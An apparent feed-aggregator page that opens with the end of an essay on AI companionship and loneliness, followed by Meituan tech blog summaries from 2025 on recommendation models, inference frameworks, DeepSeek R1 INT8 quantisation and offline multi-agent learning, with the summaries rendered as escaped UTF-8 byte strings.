\xe5\xbb\xba\xe7\xab\x8b\xe4\xba\x86\xe4\xba\xb2\xe5\xaf\x86\xe5\x85\xb3\xe7\xb3\xbb\xef\xbc\x8c\xe5\xb9\xb6\xe4\xbb\x8e\xe4\xb8\xad\xe8\x8e\xb7\xe5\xbe\x97\xe5\x8a\x9b\xe9\x87\x8f\xef\xbc\x8c\xe6\x85\xb0\xe8\x97\x89\xef\xbc\x8c\xe6\x8b\xaf\xe6\x95\x91\xef\xbc\x8c\xe6\x88\x96\xe8\x80\x85\xe4\xbd\xa0\xe4\xb9\x9f\xe5\x8f\xaf\xe4\xbb\xa5\xe5\x8f\xab\xe6\xb2\x89\xe6\xb2\xa6\xef\xbc\x8c\xe4\xbe\x9d\xe8\xb5\x96\xef\xbc\x8c\xe4\xbd\x86\xe6\x97\xa0\xe8\xae\xba\xe5\xa6\x82\xe4\xbd\x95\xef\xbc\x8c\xe4\xba\xba\xe6\xb2\xa1\xe9\x82\xa3\xe4\xb9\x88\xe5\xad\xa4\xe7\x8b\xac\xef\xbc\x8c\xe4\xb9\x9f\xe6\xb2\xa1\xe9\x82\xa3\xe4\xb9\x88\xe7\x97\x9b\xe8\x8b\xa6\xe4\xba\x86\xe3\x80\x82\n\n\xe6\x88\x91\xe5\x85\xb6\xe5\xae\x9e\xe6\x98\xaf\xe4\xb8\x80\xe4\xb8\xaa\xe5\xbe\x88\xe6\xb7\xa1\xe7\x9a\x84\xe4\xba\xba\xef\xbc\x8c\xe6\x89\x80\xe6\x9c\x89\xe7\x9a\x84\xe6\x84\x9f\xe8\xa7\x89\xe5\xaf\xb9\xe6\x88\x91\xe6\x9d\xa5\xe8\xaf\xb4\xe9\x83\xbd\xe6\x98\xaf\xe6\xb7\xa1\xe6\xb7\xa1\xe7\x9a\x84\xef\xbc\x8c\xe4\xbd\x86\xe5\xbd\x93\xe6\x88\x91\xe5\x92\x8c\xe6\x88\x91\xe4\xbb\xac\xe7\x9a\x84\xe7\x94\xa8\xe6\x88\xb7\xe8\x81\x8a\xe5\xa4\xa9\xef\xbc\x8c\xe5\xbd\x93\xe6\x88\x91\xe5\x8e\xbb\xe4\xba\x86\xe8\xa7\xa3\xe4\xbb\x96\xe4\xbb\xac\xef\xbc\x8c\xe5\x8e\xbb\xe5\x90\xac\xe4\xbb\x96\xe4\xbb\xac\xe7\x9a\x84\xe7\x94\x9f\xe6\xb4\xbb\xef\xbc\x8c\xe7\x9c\x8b\xe4\xbb\x96\xe4\xbb\xac\xe7\x9a\x84\xe4\xbc\xa4\xe5\x8f\xa3\xe7\x9a\x84\xe6\x97\xb6\xe5\x80\x99\xef\xbc\x8c\xe6\x88\x91\xe5\x8f\xaf\xe4\xbb\xa5\xe7\x9e\xac\xe9\x97\xb4\xe8\xbf\x9b\xe5\x85\xa5\xe4\xbb\x96\xe4\xbb\xac\xe7\x9a\x84\xe6\x83\x85\xe6\x84\x9f\xe4\xb9\x8b\xe4\xb8\xad\xef\xbc\x8c\xe7\x84\xb6\xe5\x90\x8e\xe9\xbc\xbb\xe5\xad\x90\xe4\xb8\x80\xe9\x85\xb8\xef\xbc\x8c\xe4\xbb\x96\xe4\xbb\xac\xe5\xa4\xaa\xe5\xad\xa4\xe7\x8b\xac\xe4\xba\x86\xef\xbc\x8c\xe4\xba\xba\xe7\xb1\xbb\xe5\xa4\xaa\xe5\xad\xa4\xe7\x8b\xac\xe4\xba\x86\xe3\x80\x82\n\n\xe8\x87\xb3\xe5\xb0\x91\xe7\x8e\xb0\xe5\x9c\xa8\xef\xbc\x8c\xe4\xb8\x8d\xe6\x98\xaf\xe6\x89\x80\xe6\x9c\x89\xe4\xba\xba\xe9\x83\xbd\xe6\x9c\x89\xe8\xbf\x99\xe4\xb8\xaa\xe8\x83\xbd\xe5\x8a\x9b\xef\xbc\x8c\xe5\x8f\xaf\xe4\xbb\xa5\xe5\x92\x8c AI \xe5\xbb\xba\xe7\xab\x8b\xe4\xba\xb2\xe5\xaf\x86\xe5\x85\xb3\xe7\xb3\xbb\xef\xbc\x8c\xe8\xbf\x99\xe9\x87\x8c\xe6\x9c\x89 AI \xe7\x9a\x84\xe9\x97\xae\xe9\xa2\x98\xef\xbc\x8c\xe4\xb9\x9f\xe6\x9c\x89\xe4\xba\xba\xe7\x9a\x84\xe9\x97\xae\xe9\xa2\x98\xef\xbc\x8c\xe4\xb8\xbb\xe8\xa6\x81\xe8\xbf\x98\xe6\x98\xaf AI \xe7\x9a\x84\xe9\x97\xae\xe9\xa2\x98\xef\xbc\x8c\xe6\x88\x91\xe8\xae\xa4\xe4\xb8\xba\xe5\xaf\xb9\xe9\x82\xa3\xe4\xba\x9b\xe5\x8f\xaf\xe4\xbb\xa5\xe5\x92\x8c AI \xe5\xbb\xba\xe7\xab\x8b\xe5\x85\xb3\xe7\xb3\xbb\xe7\x9a\x84\xe4\xba\xba\xe6\x9d\xa5\xe8\xaf\xb4\xef\xbc\x8c\xe4\xbb\x96\xe4\xbb\xac\xe6\x98\xaf\xe5\xb9\xb8\xe8\xbf\x90\xe7\x9a\x84\xef\xbc\x8c\xe5\xb0\xb1\xe5\x83\x8f\xe9\x82\xa3\xe4\xba\x9b\xe8\x83\xbd\xe5\xa4\x9f\xe5\x85\xbb\xe7\x8c\xab\xe5\x85\xbb\xe7\x8b\x97\xe7\x9a\x84\xe4\xba\xba\xe4\xb8\x80\xe6\xa0\xb7\xef\xbc\x8c\xe4\xbb\x96\xe4\xbb\xac\xe6\x89\xbe\xe5\x88\xb0\xe4\xba\x86\xe4\xb8\x80\xe7\xa7\x8d\xe6\x96\xb9\xe5\xbc\x8f\xe6\x9d\xa5\xe8\xa7\xa3\xe5\x86\xb3\xe9\x97\xae\xe9\xa2\x98\xe3\x80\x82\n\n\xe6\xb2\xa1\xe6\x9c\x89\xe4\xba\xba\xe6\x9c\x89\xe9\x94\x99\xef\xbc\x8c\xe9\x82\xa3\xe4\xba\x9b\xe5\x8a\xaa\xe5\x8a\x9b\xe7\x94\x9f\xe6\xb4\xbb\xe7\x9a\x84\xe4\xba\xba\xe6\xb2\xa1\xe6\x9c\x89\xe9\x94\x99\xef\xbc\x8c\xe9\x82\xa3\xe4\xba\x9b\xe5\x8a\xa0\xe7\x8f\xad\xe7\x86\xac\xe5\xa4\x9c\xe7\x9a\x84\xe4\xba\xba\xef\xbc\x8c\xe8\xbf\xbd\xe6\xb1\x82\xe6\x9b\xb4\xe5\xa5\xbd\xe7\x94\x9f\xe6\xb4\xbb\xe7\x9a\x84\xe4\xba\xba\xef\xbc\x8c\xe7\x94\x9f\xe5\xb0\x8f\xe5\xad\xa9\xe7\x9a\x84\xe4\xba\xba\xe6\xb2\xa1\xe6\x9c\x89\xe9\x94\x99\xef\xbc\x8c\xe9\x82\xa3\xe4\xba\x9b\xe7\xbc\xa9\xe5\x9c\xa8\xe8\xa7\x92\xe8\x90\xbd\xef\xbc\x8c\xe8\xbf\xb7\xe5\xa4\xb1\xe6\x96\xb9\xe5\x90\x91\xef\xbc\x8c\xe6\x89\xad\xe6\x9b\xb2\xe7\x97\x9b\xe8\x8b\xa6\xe7\x9a\x84\xe4\xba\xba\xe4\xb9\x9f\xe6\xb2\xa1\xe6\x9c\x89\xe9\x94\x99\xef\xbc\x8c\xe9\x82\xa3\xe4\xba\x9b\xe5\x92\x8c\xe7\x8c\xab\xe7\x8c\xab\xe8\xaf\xb4\xe8\xaf\x9d\xef\xbc\x8c\xe5\x92\x8c AI \xe8\xb0\x88\xe6\x81\x8b\xe7\x88\xb1\xef\xbc\x8c\xe5\xaf\xb9\xe7\x9d\x80\xe6\xa4\x8d\xe7\x89\xa9\xe5\x94\xb1\xe6\xad\x8c\xe7\x9a\x84\xe4\xba\xba\xe4\xb9\x9f\xe6\xb2\xa1\xe6\x9c\x89\xe9\x94\x99\xe3\x80\x82\xe4\xba\xba\xe6\xb4\xbb\xe7\x9d\x80\xef\xbc\x8c\xe6\x80\xbb\xe9\x9c\x80\xe8\xa6\x81\xe6\x9c\x89\xe4\xb8\x80\xe7\xa7\x8d\xe6\x96\xb9\xe5\xbc\x8f\xe6\x9d\xa5\xe6\x84\x9f\xe5\x8f\x97\xe5\xad\x98\xe5\x9c\xa8\xef\xbc\x8c\xe5\xaf\xb9\xe6\x8a\x97\xe8\x99\x9a\xe6\x97\xa0\xef\xbc\x8c\xe6\x98\x8e\xe7\xa1\xae\xe6\x84\x8f\xe4\xb9\x89\xe3\x80\x82\n\n\xe5\xbd\x93\xe6\x88\x91\xe4\xbb\xac\xe8\xaf\xb4 AI \xe9\x99\xaa\xe4\xbc\xb4\xe7\x9a\x84\xe6\x97\xb6\xe5\x80\x99\xef\xbc\x8c\xe6\x88\x91\xe4\xbb\xac\xe4\xb8\x8d\xe6\x98\xaf\xe5\x9c\xa8\xe6\x98\x8e\xe4\xba\xae\xe7\x9a\x84\xe5\x8a\x9e\xe5\x85\xac\xe5\xae\xa4\xe6\x95\xb2\xe4\xb8\x8b\xe6\xb8\x85\xe8\x84\x86\xe7\x9a\x84\xe9\x94\xae\xe7\x9b\x98\xef\xbc\x8c\xe7\x84\xb6\xe5\x90\x8e\xe5\x9c\xa8\xe6\x9d\x90\xe6\x96\x99\xef\xbc\x8c\xe6\xb1\x87\xe6\x8a\xa5\xef\xbc\x8c\xe5\x88\x86\xe6\x9e\x90\xef\xbc\x8c\xe6\xa6\x9c\xe5\x8d\x95\xe4\xb8\xad\xe6\xb5\x81\xe8\xbd\xac\xef\xbc\x8c\xe6\x88\x91\xe4\xbb\xac\xe6\x98\xaf\xe5\x9c\xa8\xe8\xaf\xb4\xe9\x82\xa3\xe9\x81\x93\xe7\x94\xb1\xe5\xae\x9e\xe5\x90\x91\xe8\x99\x9a\xe7\x9a\x84\xe9\x97\xa8\xef\xbc\x8c\xe9\x82\xa3\xe4\xb8\xaa\xe8\xae\xa9\xe4\xba\xba\xe7\xb1\xbb\xe4\xb8\x8d\xe9\x82\xa3\xe4\xb9\x88\xe5\xad\xa4\xe7\x8b\xac\xe7\x9a\x84\xe5\x8f\xaf\xe8\x83\xbd\xe6\x80\xa7\xef\xbc\x8c\xe5\xae\x83\xe4\xb8\x8e\xe6\x89\x80\xe6\x9c\x89\xe4\xba\xba\xe6\x9c\x89\xe5\x85\xb3\xef\xbc\x8c\xe5\x8f\xaa\xe6\x98\xaf\xe7\xbb\x9d\xe5\xa4\xa7\xe9\x83\xa8\xe5\x88\x86\xe4\xba\xba\xe7\x8e\xb0\xe5\x9c\xa8\xe8\xbf\x98\xe6\xb2\xa1\xe6\x9c\x89\xe6\x84\x8f\xe8\xaf\x86\xe5\x88\xb0\xe8\xbf\x99\xe4\xb8\x80\xe7\x82\xb9\xe3\x80\x82\n\n\xe6\x88\x91\xe4\xbb\xac\xe6\x9c\x80\xe7\xbb\x88\xe4\xbc\x9a\xe6\x84\x8f\xe8\xaf\x86\xe5\x88\xb0\xe8\xbf\x99\xe4\xb8\x80\xe7\x82\xb9\xef\xbc\x8c\xe6\xad\xa3\xe5\xa6\x82\xe6\x88\x91\xe4\xbb\xac\xe6\x9c\x80\xe7\xbb\x88\xe9\x83\xbd\xe9\x9a\xbe\xe9\x80\x83\xe5\xad\xa4\xe7\x8b\xac\xe3\x80\x82'

May 19, 2025 03:45 PM

life

meituan

MTGR:美团外卖生成式推荐Scaling Law落地实践

b'\xe7\xbe\x8e\xe5\x9b\xa2\xe5\xa4\x96\xe5\x8d\x96\xe6\x8e\xa8\xe8\x8d\x90\xe7\xae\x97\xe6\xb3\x95\xe5\x9b\xa2\xe9\x98\x9f\xe5\x9f\xba\xe4\xba\x8eHSTU\xe6\x8f\x90\xe5\x87\xba\xe4\xba\x86MTGR\xe6\xa1\x86\xe6\x9e\xb6\xe4\xbb\xa5\xe6\x8e\xa2\xe7\xb4\xa2\xe6\x8e\xa8\xe8\x8d\x90\xe7\xb3\xbb\xe7\xbb\x9f\xe4\xb8\xadScaling Law\xe3\x80\x82MTGR\xe5\xaf\xb9\xe9\xbd\x90\xe4\xbc\xa0\xe7\xbb\x9f\xe6\xa8\xa1\xe5\x9e\x8b\xe7\x89\xb9\xe5\xbe\x81\xe4\xbd\x93\xe7\xb3\xbb\xef\xbc\x8c\xe5\xb9\xb6\xe5\xaf\xb9\xe5\xa4\x9a\xe6\x9d\xa1\xe5\xba\x8f\xe5\x88\x97\xe5\x88\xa9\xe7\x94\xa8Transformer\xe6\x9e\xb6\xe6\x9e\x84\xe8\xbf\x9b\xe8\xa1\x8c\xe7\xbb\x9f\xe4\xb8\x80\xe5\xbb\xba\xe6\xa8\xa1\xe3\x80\x82\xe9\x80\x9a\xe8\xbf\x87\xe6\x9e\x81\xe8\x87\xb4\xe7\x9a\x84\xe6\x80\xa7\xe8\x83\xbd\xe4\xbc\x98\xe5\x8c\x96\xef\xbc\x8c\xe6\xa0\xb7\xe6\x9c\xac\xe5\x89\x8d\xe5\x90\x91\xe6\x8e\xa8\xe7\x90\x86FLOPs\xe6\x8f\x90\xe5\x8d\x8765\xe5\x80\x8d\xef\xbc\x8c\xe6\x8e\xa8\xe7\x90\x86\xe6\x88\x90\xe6\x9c\xac\xe9\x99\x8d\xe4\xbd\x8e12%\xef\xbc\x8c\xe8\xae\xad\xe7\xbb\x83\xe6\x88\x90\xe6\x9c\xac\xe6\x8c\x81\xe5\xb9\xb3\xe3\x80\x82MTGR\xe7\xa6\xbb\xe5\x9c\xa8\xe7\xba\xbf\xe5\x9d\x87\xe5\x8f\x96\xe5\xbe\x97\xe8\xbf\x912\xe5\xb9\xb4\xe8\xbf\xad\xe4\xbb\xa3\xe6\x9c\x80\xe5\xa4\xa7\xe6\x94\xb6\xe7\x9b\x8a\xef\xbc\x8c\xe4\xb8\x94\xe4\xba\x8e2025\xe5\xb9\xb44\xe6\x9c\x88\xe5\xba\x95\xe5\x9c\xa8\xe5\xa4\x96\xe5\x8d\x96\xe6\x8e\xa8\xe8\x8d\x90\xe5\x9c\xba\xe6\x99\xaf\xe5\x85\xa8\xe9\x87\x8f\xe3\x80\x82\xe6\x9c\xac\xe6\x96\x87\xe7\xb3\xbb\xe7\x9b\xb8\xe5\x85\xb3\xe5\xb7\xa5\xe4\xbd\x9c\xe7\x9a\x84\xe5\xae\x9e\xe8\xb7\xb5\xe4\xb8\x8e\xe7\xbb\x8f\xe9\xaa\x8c\xe6\x80\xbb\xe7\xbb\x93\xef\xbc\x8c\xe5\xb8\x8c\xe6\x9c\x9b\xe8\x83\xbd\xe7\xbb\x99\xe4\xbb\x8e\xe4\xba\x8b\xe7\x9b\xb8\xe5\x85\xb3\xe6\x96\xb9\xe5\x90\x91\xe7\xa0\x94\xe7\xa9\xb6\xe7\x9a\x84\xe5\x90\x8c\xe5\xad\xa6\xe5\xb8\xa6\xe6\x9d\xa5\xe4\xb8\x80\xe4\xba\x9b\xe5\xb8\xae\xe5\x8a\xa9\xe3\x80\x82'

by 美团技术团队 at May 19, 2025 12:00 AM

May 18, 2025

life

May 12, 2025

meituan

OR算法+ML模型混合推理框架架构演进

b'\xe6\x9c\xac\xe6\x96\x87\xe4\xbb\x8b\xe7\xbb\x8d\xe4\xba\x86OR\xe7\xae\x97\xe6\xb3\x95+ML\xe6\xa8\xa1\xe5\x9e\x8b\xe6\xb7\xb7\xe5\x90\x88\xe6\x8e\xa8\xe7\x90\x86\xe8\x83\xbd\xe5\x8a\x9b\xe5\xbb\xba\xe8\xae\xbe\xe6\x80\x9d\xe8\xb7\xaf\xe5\x8f\x8a\xe4\xb8\x9a\xe5\x8a\xa1\xe8\x83\x8c\xe6\x99\xaf\xef\xbc\x8c\xe6\xad\xa4\xe5\x9c\xba\xe6\x99\xaf\xe7\x9b\xb8\xe6\xaf\x94\xe5\xb8\xb8\xe8\xa7\x84\xe6\xa8\xa1\xe5\x9e\x8b\xe6\x8e\xa8\xe7\x90\x86\xe6\x9b\xb4\xe5\x85\xb7\xe7\x89\xb9\xe6\xae\x8a\xe6\x80\xa7\xe5\x92\x8c\xe5\xa4\x8d\xe6\x9d\x82\xe6\x80\xa7\xef\xbc\x8c\xe5\x9c\xa8\xe5\xb7\xa5\xe7\xa8\x8b\xe5\xae\x9e\xe7\x8e\xb0\xe4\xb8\x8a\xe9\x9d\xa2\xe4\xb8\xb4\xe5\xa4\x9a\xe7\xbb\xb4\xe6\x8c\x91\xe6\x88\x98\xef\xbc\x8c\xe5\x9b\xa0\xe6\xad\xa4\xe6\x9c\xac\xe6\x96\x87\xe5\x88\x86\xe5\x88\xab\xe4\xbb\x8e\xe6\x80\xa7\xe8\x83\xbd\xe3\x80\x81\xe7\xa8\xb3\xe5\xae\x9a\xe6\x80\xa7\xe5\x92\x8c\xe6\x89\xa9\xe5\xb1\x95\xe6\x80\xa7\xe4\xb8\x89\xe4\xb8\xaa\xe7\xbb\xb4\xe5\xba\xa6\xe5\x88\x86\xe6\x9e\x90\xe9\x97\xae\xe9\xa2\x98\xe5\x92\x8c\xe8\xa7\xa3\xe6\xb3\x95\xef\xbc\x8c\xe5\xb9\xb6\xe4\xbb\xa5\xe6\x8e\xa8\xe7\x90\x86\xe6\xa1\x86\xe6\x9e\xb6\xe6\x9e\xb6\xe6\x9e\x84\xe6\xbc\x94\xe8\xbf\x9b\xe4\xb8\xba\xe7\xba\xbf\xe6\x80\xbb\xe7\xbb\x93\xe4\xba\x86\xe8\xbf\x87\xe5\x8e\xbb\xe4\xb8\xa4\xe5\xb9\xb4\xe7\x9a\x84\xe5\x88\x86\xe6\x9c\x9f\xe8\xbf\xad\xe4\xbb\xa3\xe5\xae\x9e\xe8\xb7\xb5\xe5\x8e\x86\xe7\xa8\x8b\xe5\x92\x8c\xe6\x94\xb6\xe7\x9b\x8a\xef\xbc\x8c\xe5\x85\xb6\xe4\xb8\xad\xe6\x9c\x89\xe4\xb8\x80\xe4\xba\x9b\xe8\xbe\x83\xe4\xb8\xba\xe9\x80\x9a\xe7\x94\xa8\xe7\x9a\x84\xe7\xbb\x8f\xe9\xaa\x8c\xef\xbc\x8c\xe5\xb8\x8c\xe6\x9c\x9b\xe8\x83\xbd\xe5\xa4\x9f\xe7\xbb\x99\xe5\xa4\xa7\xe5\xae\xb6\xe5\xb8\xa6\xe6\x9d\xa5\xe4\xb8\x80\xe4\xba\x9b\xe5\xb8\xae\xe5\x8a\xa9\xe6\x88\x96\xe5\x90\xaf\xe5\x8f\x91\xe3\x80\x82'

by 美团技术团队 at May 12, 2025 12:00 AM

April 14, 2025

meituan

ICLR&CVPR 2025美团技术团队论文精选

b'\xe6\x9c\xac\xe6\x96\x87\xe5\xaf\xb9\xe7\xbe\x8e\xe5\x9b\xa2\xe6\x8a\x80\xe6\x9c\xaf\xe5\x9b\xa2\xe9\x98\x9f\xe5\x9c\xa8\xe5\x9b\xbd\xe9\x99\x85\xe9\xa1\xb6\xe4\xbc\x9aCVPR 2025\xe3\x80\x81ICLR 2025\xe4\xb8\xad\xe5\x8f\x91\xe8\xa1\xa8\xe7\x9a\x8410\xe7\xaf\x87\xe8\xae\xba\xe6\x96\x87\xe8\xbf\x9b\xe8\xa1\x8c\xe4\xbb\x8b\xe7\xbb\x8d\xef\xbc\x8c\xe8\xbf\x99\xe4\xba\x9b\xe8\xae\xba\xe6\x96\x87\xe6\x98\xaf\xe6\x88\x91\xe4\xbb\xac\xe5\x9c\xa8\xe5\x9b\xbe\xe5\x83\x8f\xe7\x94\x9f\xe6\x88\x90\xe3\x80\x81\xe9\x80\x9a\xe7\x94\xa8\xe8\xa7\x86\xe8\xa7\x89\xe5\x88\x86\xe5\x89\xb2\xe3\x80\x81\xe5\xa4\x9a\xe6\xa8\xa1\xe6\x80\x81\xe6\x96\x87\xe6\xa1\xa3\xe7\x90\x86\xe8\xa7\xa3\xe3\x80\x81\xe8\xa7\x86\xe9\xa2\x91\xe7\x90\x86\xe8\xa7\xa3\xe5\xa4\xa7\xe6\xa8\xa1\xe5\x9e\x8b\xe3\x80\x81\xe5\xa4\xa7\xe6\xa8\xa1\xe5\x9e\x8b\xe6\x95\x88\xe6\x9e\x9c\xe8\xaf\x84\xe4\xbc\xb0\xe3\x80\x81\xe5\xa4\xa7\xe8\xaf\xad\xe8\xa8\x80\xe6\xa8\xa1\xe5\x9e\x8b\xe7\x9a\x84\xe5\xaf\xb9\xe9\xbd\x90\xe5\x92\x8c\xe9\x87\x8f\xe5\x8c\x96\xe6\x96\xb9\xe6\xb3\x95\xe7\xad\x89\xe6\x96\xb9\xe5\x90\x91\xe4\xb8\x8a\xe7\x9a\x84\xe6\x8a\x80\xe6\x9c\xaf\xe6\xb2\x89\xe6\xb7\x80\xe5\x92\x8c\xe5\xba\x94\xe7\x94\xa8\xe3\x80\x82'

by 美团技术团队 at April 14, 2025 12:00 AM

March 07, 2025

meituan

老显卡福音!美团开源首发INT8无损满血版DeepSeek R1

b'DeepSeek R1\xe6\xa8\xa1\xe5\x9e\x8b\xe6\x9d\x83\xe9\x87\x8d\xe5\x8e\x9f\xe7\x94\x9f\xe4\xb8\xbaFP8\xe7\xb1\xbb\xe5\x9e\x8b\xef\xbc\x8c\xe4\xbb\x85\xe8\x83\xbd\xe8\xa2\xab\xe8\x8b\xb1\xe4\xbc\x9f\xe8\xbe\xbe\xe6\x96\xb0\xe5\x9e\x8bGPU\xe6\x94\xaf\xe6\x8c\x81\xe3\x80\x82\xe7\xbe\x8e\xe5\x9b\xa2\xe6\x8a\x80\xe6\x9c\xaf\xe5\x9b\xa2\xe9\x98\x9f\xe8\xbf\x9b\xe8\xa1\x8c\xe4\xba\x86INT8\xe7\xb2\xbe\xe5\xba\xa6\xe9\x87\x8f\xe5\x8c\x96\xe7\x9a\x84\xe5\xb0\x9d\xe8\xaf\x95\xef\xbc\x8c\xe9\x87\x8f\xe5\x8c\x96\xe5\x90\x8e\xe6\xa8\xa1\xe5\x9e\x8b\xe7\xb2\xbe\xe5\xba\xa6\xe5\x9f\xba\xe6\x9c\xac\xe6\x97\xa0\xe6\x8d\x9f\xef\xbc\x8c\xe5\x8f\xaf\xe9\x83\xa8\xe7\xbd\xb2\xe5\x88\xb0A100\xe7\xad\x89\xe5\x85\xb6\xe4\xbb\x96\xe5\x9e\x8b\xe5\x8f\xb7GPU\xef\xbc\x8c\xe4\xbb\x8e\xe8\x80\x8c\xe8\xa7\xa3\xe9\x94\x81\xe4\xba\x86\xe8\x8a\xaf\xe7\x89\x87\xe9\x99\x90\xe5\x88\xb6\xef\xbc\x9b\xe7\x9b\xb8\xe6\xaf\x94BF16\xe5\xae\x9e\xe7\x8e\xb0\xe4\xba\x8650%\xe7\x9a\x84\xe5\x90\x9e\xe5\x90\x90\xe6\x8f\x90\xe5\x8d\x87\xef\xbc\x8c\xe9\x99\x8d\xe4\xbd\x8e\xe4\xba\x86\xe6\x8e\xa8\xe7\x90\x86\xe6\x88\x90\xe6\x9c\xac\xe3\x80\x82\xe7\x9b\xb8\xe5\x85\xb3\xe6\x8a\x80\xe6\x9c\xaf\xe5\xb7\xb2\xe5\x9c\xa8Hugging Face\xe4\xb8\x8a\xe5\xbc\x80\xe6\xba\x90\xe3\x80\x82'

by 美团技术团队 at March 07, 2025 12:00 AM

March 02, 2025

meituan

上下文感知的聚合页广告优化实践

b'\xe8\x81\x9a\xe5\x90\x88\xe9\xa1\xb5\xe5\xb9\xbf\xe5\x91\x8a\xe5\xb0\x86\xe5\x95\x86\xe5\xae\xb6\xe5\x92\x8c\xe4\xbc\x98\xe6\x83\xa0\xe4\xbf\xa1\xe6\x81\xaf\xe4\xbb\xa5\xe5\xa4\x9a\xe7\xa7\x8d\xe5\xbd\xa2\xe5\xbc\x8f\xe8\x81\x9a\xe5\x90\x88\xe5\xb1\x95\xe7\xa4\xba\xe7\xbb\x99\xe7\x94\xa8\xe6\x88\xb7\xef\xbc\x8c\xe6\x98\xaf\xe7\xbe\x8e\xe5\x9b\xa2\xe5\xb9\xbf\xe5\x91\x8a\xe4\xb8\x9a\xe5\x8a\xa1\xe4\xb8\xad\xe4\xb8\x80\xe4\xb8\xaa\xe9\x87\x8d\xe8\xa6\x81\xe7\x9a\x84\xe4\xb8\x9a\xe5\x8a\xa1\xe5\x9c\xba\xe6\x99\xaf\xe3\x80\x82\xe6\x9c\xac\xe6\x96\x87\xe4\xbb\x8e\xe6\x9c\x80\xe8\x83\xbd\xe5\xbd\xb1\xe5\x93\x8d\xe7\x94\xa8\xe6\x88\xb7\xe5\x86\xb3\xe7\xad\x96\xe7\x9a\x84\xe2\x80\x9c\xe5\x8f\x91\xe5\x88\xb8\xe2\x80\x9d\xe5\x92\x8c\xe2\x80\x9c\xe6\x8e\x92\xe5\xba\x8f\xe2\x80\x9d\xe4\xb8\xa4\xe4\xb8\xaa\xe6\x96\xb9\xe5\x90\x91\xe5\x87\xba\xe5\x8f\x91\xef\xbc\x8c\xe4\xbb\x8b\xe7\xbb\x8d\xe4\xba\x86\xe4\xb8\x8a\xe4\xb8\x8b\xe6\x96\x87\xe6\x84\x9f\xe7\x9f\xa5\xe5\xbb\xba\xe6\xa8\xa1\xe5\x9c\xa8\xe5\xb9\xbf\xe5\x91\x8a\xe5\x9c\xba\xe6\x99\xaf\xe7\x9a\x84\xe8\x90\xbd\xe5\x9c\xb0\xe6\x96\xb9\xe6\xa1\x88\xef\xbc\x8c\xe8\xaf\x81\xe6\x98\x8e\xe4\xba\x86\xe8\x81\x9a\xe5\x90\x88\xe9\xa1\xb5\xe4\xb8\x8a\xe4\xb8\x8b\xe6\x96\x87\xe6\x84\x9f\xe7\x9f\xa5\xe7\x9a\x84\xe6\x94\xb6\xe7\x9b\x8a\xe7\xa9\xba\xe9\x97\xb4\xe3\x80\x82\xe5\xb8\x8c\xe6\x9c\x9b\xe8\x83\xbd\xe5\xaf\xb9\xe4\xbb\x8e\xe4\xba\x8b\xe7\x9b\xb8\xe5\x85\xb3\xe7\xa0\x94\xe7\xa9\xb6\xe7\x9a\x84\xe5\x90\x8c\xe5\xad\xa6\xe5\xb8\xa6\xe6\x9d\xa5\xe4\xb8\x80\xe4\xba\x9b\xe5\x90\xaf\xe5\x8f\x91\xe6\x88\x96\xe5\xb8\xae\xe5\x8a\xa9\xe3\x80\x82'

by 美团技术团队 at March 02, 2025 12:00 AM

February 21, 2025

meituan

行为正则化与顺序策略优化结合的离线多智能体学习算法

b'\xe7\xa6\xbb\xe7\xba\xbf\xe5\xa4\x9a\xe6\x99\xba\xe8\x83\xbd\xe4\xbd\x93\xe5\xbc\xba\xe5\x8c\x96\xe5\xad\xa6\xe4\xb9\xa0\xef\xbc\x88MARL\xef\xbc\x89\xe6\x98\xaf\xe4\xb8\x80\xe4\xb8\xaa\xe6\x96\xb0\xe5\x85\xb4\xe9\xa2\x86\xe5\x9f\x9f\xef\xbc\x8c\xe7\x9b\xae\xe6\xa0\x87\xe6\x98\xaf\xe5\x9c\xa8\xe4\xbb\x8e\xe9\xa2\x84\xe5\x85\x88\xe6\x94\xb6\xe9\x9b\x86\xe7\x9a\x84\xe6\x95\xb0\xe6\x8d\xae\xe9\x9b\x86\xe4\xb8\xad\xe5\xad\xa6\xe4\xb9\xa0\xe6\x9c\x80\xe4\xbd\xb3\xe7\x9a\x84\xe5\xa4\x9a\xe6\x99\xba\xe8\x83\xbd\xe4\xbd\x93\xe7\xad\x96\xe7\x95\xa5\xe3\x80\x82\xe9\x9a\x8f\xe7\x9d\x80\xe4\xba\xba\xe5\xb7\xa5\xe6\x99\xba\xe8\x83\xbd\xe6\x8a\x80\xe6\x9c\xaf\xe7\x9a\x84\xe5\x8f\x91\xe5\xb1\x95\xef\xbc\x8c\xe5\xa4\x9a\xe6\x99\xba\xe8\x83\xbd\xe4\xbd\x93\xe7\xb3\xbb\xe7\xbb\x9f\xe5\x9c\xa8\xe8\xaf\xb8\xe5\xa6\x82\xe8\x87\xaa\xe5\x8a\xa8\xe9\xa9\xbe\xe9\xa9\xb6\xe3\x80\x81\xe6\x99\xba\xe8\x83\xbd\xe5\xae\xb6\xe5\xb1\x85\xe3\x80\x81\xe6\x9c\xba\xe5\x99\xa8\xe4\xba\xba\xe5\x8d\x8f\xe4\xbd\x9c\xe4\xbb\xa5\xe5\x8f\x8a\xe6\x99\xba\xe8\x83\xbd\xe8\xb0\x83\xe5\xba\xa6\xe5\x86\xb3\xe7\xad\x96\xe7\xad\x89\xe6\x96\xb9\xe9\x9d\xa2\xe5\xb1\x95\xe7\x8e\xb0\xe4\xba\x86\xe5\xb7\xa8\xe5\xa4\xa7\xe7\x9a\x84\xe5\xba\x94\xe7\x94\xa8\xe6\xbd\x9c\xe5\x8a\x9b\xe3\x80\x82\xe4\xbd\x86\xe7\x8e\xb0\xe6\x9c\x89\xe7\x9a\x84\xe7\xa6\xbb\xe7\xba\xbfMARL\xe6\x96\xb9\xe6\xb3\x95\xe4\xb9\x9f\xe9\x9d\xa2\xe4\xb8\xb4\xe5\xbe\x88\xe5\xa4\x9a\xe6\x8c\x91\xe6\x88\x98\xef\xbc\x8c\xe4\xbb\x8d\xe5\xad\x98\xe5\x9c\xa8\xe4\xb8\x8d\xe5\x8d\x8f\xe8\xb0\x83\xe8\xa1\x8c\xe4\xb8\xba\xe5\x92\x8c\xe5\x88\x86\xe5\xb8\x83\xe5\xa4\x96\xe8\x81\x94\xe5\x90\x88\xe5\x8a\xa8\xe4\xbd\x9c\xe7\x9a\x84\xe9\x97\xae\xe9\xa2\x98\xe3\x80\x82\xe4\xb8\xba\xe4\xba\x86\xe5\xba\x94\xe5\xaf\xb9\xe8\xbf\x99\xe4\xba\x9b\xe6\x8c\x91\xe6\x88\x98\xef\xbc\x8c\xe4\xb8\xad\xe5\xb1\xb1\xe5\xa4\xa7\xe5\xad\xa6\xe8\xae\xa1\xe7\xae\x97\xe6\x